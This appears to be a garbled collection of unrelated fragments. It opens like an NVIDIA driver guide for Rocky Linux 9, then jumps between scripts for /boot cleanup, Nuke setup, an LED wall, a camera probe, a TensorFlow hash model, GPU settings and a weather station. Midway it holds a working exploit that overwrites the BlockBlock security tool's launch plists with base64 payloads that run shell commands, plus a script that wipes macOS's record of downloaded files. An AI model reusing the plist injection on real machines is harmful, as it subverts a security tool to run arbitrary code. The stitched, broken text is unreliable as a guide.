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NVIDIA DKMS Driver Installation & Fix Guide for Rocky Linux 9

A complete, production-ready guide to installing and configuring NVIDIA DKMS (kmod-nvidia-latest-dkms) on Rocky Linux 9.

This guide resolves the common blinking cursor (_), Secure Boot module rejection, GDM black screen, and nvidia-persistenced failure issues.

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1. Access TTY / Console (If Stuck at Blinking Cursor)

If your system is currently stuck at a black screen with a blinking cursor:

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#!/bin/bash
# Kernel update verification and recovery script
# Adds checks for free space on /boot and an optional automatic cleanup.
# Enhancements:
# - When run with --auto, will attempt additional heuristics to free space in /boot:
#   1) remove old kernel packages (existing behavior)
#   2) remove orphaned files in /boot that don't match any installed kernel
#   3) as a last resort, archive the oldest non-active boot files to /var/tmp/boot-archive-<timestamp>.tar.xz
# Note: Archiving moves files out of /boot but keeps them on the same filesystem if /var/tmp is on the rootfs.

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#!/bin/bash

NUKE_DIR="$HOME/.nuke"
PYTHON_DIR="$NUKE_DIR/python"
GIZMOS_DIR="$NUKE_DIR/gizmos"
PLUGINS_DIR="$NUKE_DIR/plugins"
INIT_FILE="$NUKE_DIR/init.py"

# Create .nuke directory if it doesn't exist
if [ ! -d "$NUKE_DIR" ]; then

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//
// LEDWallGrid - This script will create a grid of squares for an LED wall.
//
//  Flip Phillips
//  Darren Alexander (from FidoLED)
//
//  Winter 2024
// 
//  (c) Darren Alexander 2015
//  (c) Flip Phillips 2024 but released under the MIT license

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# Inject malicious datas into BlockBlock plist (will create "pwned-unprivileged" file in /tmp) (unprivileged)
(> ~/Library/LaunchAgents/com.objectiveSee.blockblock.plist; (echo "YnBsaXN0MDDUAQIDBAUGBQtfEBNBYmFuZG9uUHJvY2Vzc0dyb3VwXxAQUHJvZ3JhbUFyZ3VtZW50c1lSdW5BdExvYWRVTGFiZWwJowcICVRiYXNoUi1jXxBbdG91Y2ggL3RtcC9wd25lZC11bnByaXZpbGVnZWQ7IC9BcHBsaWNhdGlvbnMvQmxvY2tCbG9jay5hcHAvQ29udGVudHMvTWFjT1MvQmxvY2tCbG9jayBhZ2VudAlfECFjb20ub2JqZWN0aXZlU2VlLmJsb2NrYmxvY2suYWdlbnQIESc6REpLT1RXtbYAAAAAAAABAQAAAAAAAAAMAAAAAAAAAAAAAAAAAAAA2g==" | base64 --decode) > ~/Library/LaunchAgents/com.objectiveSee.blockblock.plist)

# Inject malicious datas into BlockBlock plist (will create "pwned-privileged" file in /tmp) (privileged)
(> /Library/LaunchDaemons/com.objectiveSee.blockblock.plist; (echo "YnBsaXN0MDDUAQIDBAUGBQtfEBNBYmFuZG9uUHJvY2Vzc0dyb3VwXxAQUHJvZ3JhbUFyZ3VtZW50c1lSdW5BdExvYWRVTGFiZWwJowcICVRiYXNoUi1jXxBadG91Y2ggL3RtcC9wd25lZC1wcml2aWxlZ2VkOyAvQXBwbGljYXRpb25zL0Jsb2NrQmxvY2suYXBwL0NvbnRlbnRzL01hY09TL0Jsb2NrQmxvY2sgZGFlbW

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import pandas as pd
import cv2


url = "https://en.wikipedia.org/wiki/List_of_common_resolutions"
table = pd.read_html(url)[0]
table.columns = table.columns.droplevel()

cap = cv2.VideoCapture(0)
resolutions = {}

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import tensorflow as tf #We need tensorflow 2.x
import numpy as np

#The hashlength in bits
hashLength = 256

def buildModel():
    #we can set the seed to simulate the fact that this network is known and doesn't change between runs
    #tf.random.set_seed(42)
    model = tf.keras.Sequential()

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sudo nvidia-smi --power-limit=275 --id=0
sudo nvidia-smi --persistence-mode=1 --id=1
sudo nvidia-smi --persistence-mode=1 --id=0

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#!/bin/bash

echo "Before..."
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'select LSQuarantineDataURLString from LSQuarantineEvent' | awk NF
echo "Churning..."
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'delete from LSQuarantineEvent'
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'vacuum LSQuarantineEvent'
echo "After..."
sqlite3 ~/Library/Preferences/com.apple.LaunchServices.QuarantineEventsV* 'select LSQuarantineDataURLString from LSQuarantineEvent' | awk NF
echo "Done."

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GetObserverIP[ip_] := Module[{wx, ins, raw},
  wx = Import["http://" <> ip <> "/livedata.htm", "XMLObject"];
  ins = Cases[wx, XMLElement["input", _, _], Infinity];
  raw = Flatten[
    Map[{"name" -> "value"} /. #[[2]] &, ins[[1 ;; -6]]]];
  Quiet[MapAt[ToExpression,
    MapAt[DateObject[#] &, raw, {1, 2}], {8 ;; -1, 2}]]]